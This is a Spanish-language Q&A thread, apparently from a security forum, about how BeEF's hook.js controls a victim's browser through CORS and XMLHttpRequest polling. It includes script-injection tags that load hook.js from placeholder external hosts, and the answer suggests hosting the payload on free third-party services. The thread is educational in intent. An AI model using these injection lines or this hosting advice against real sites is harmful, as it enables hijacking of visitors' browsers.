BeEF XSS - trabajo interno

3

Estoy estudiando BeEf XSS ya que creo que es una herramienta muy interesante para un probador de penetración, pero tengo algunas dudas al respecto, en particular al vincularlo con la Solicitud de dominio cruzado.

Por lo tanto, de alguna manera podemos obligar al navegador del usuario a incluir la siguiente etiqueta hmtl:

<script src="http://X.X.X.1:3000/hook.js"></script>

El navegador no se queja, ya que el atributo src puede contener cualquier dominio, no solo el que el usuario está navegando. Entonces, como lo entiendo, hook.js no está abriendo un puerto en el cliente ya que no es compatible con JS, pero extrae comandos haciendo un XMLHttpRequest desde el servidor BeEF (que está codificado en el archivo hook.js).

Luego ejecuta los comandos en el navegador y envía el resultado (por supuesto, debe haber una especie de protocolo interno que el servidor BeEF entienda). La razón por la que funciona, es que el servidor BeEF establece los siguientes elementos en el encabezado HTTP:

HTTP/1.1 200 OK
Content-Type: text/javascript
Server: Apache/2.2.3 (CentOS)
Pragma: no-cache
Cache-Control: no-cache
Expires: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET
Content-Length: 412404
Connection: keep-alive

Olí esto cuando intenté todo en local, así que básicamente existe la directiva Access-Control-Allow-Origin por la cual el navegador del usuario permitirá esta comunicación.

¿Mi pensamiento es correcto?

Además, ¿sabe si hook.js puede recuperarse desde el servidor A, pero luego apunta al Servidor B? De lo contrario, básicamente está mostrando la dirección de la máquina en la que está alojado el hook.js y también debe tener acceso a esa máquina.

    
pregunta Edge7 18.04.2018 - 11:02
fuente

1 respuesta

1

Parece que estás describiendo un ataque CORS (Intercambio de recursos entre orígenes) junto con el uso del marco de Beef. Aquí hay un fragmento de OWASP:

  

Access-Control-Allow-Origin es un encabezado de respuesta utilizado por un servidor para indicar qué dominios pueden leer la respuesta. De acuerdo con la especificación CORS W3, es responsabilidad del cliente determinar y aplicar la restricción de si el cliente tiene acceso a los datos de respuesta basados en este encabezado.

enlace

No entiendo muy bien la segunda pregunta, pero supongo que desearía alojar el archivo .js en otro lugar. Aquí hay una descripción general de cómo va:

La víctima debe poder abrir su sitio y el navegador de la víctima debe poder cargar el archivo .js. Este archivo contiene cargas útiles maliciosas que, cuando se cargan por un navegador de la víctima, le ofrecen diversos grados de control y violaciones de seguridad. El archivo puede estar alojado en su servidor web o puede estar alojado externamente, en otro servidor.

Por ejemplo: <script src="http://someotherserviceorwebsite.com/hook.js"></script>

No necesita tener acceso a esa máquina, solo el archivo debe estar disponible.

Hay una serie de servicios gratuitos que puede utilizar para alojar su archivo JS de forma gratuita.

Espero haber entendido tu pregunta correctamente.

    
respondido por el Robert 02.05.2018 - 01:07
fuente

Lea otras preguntas en las etiquetas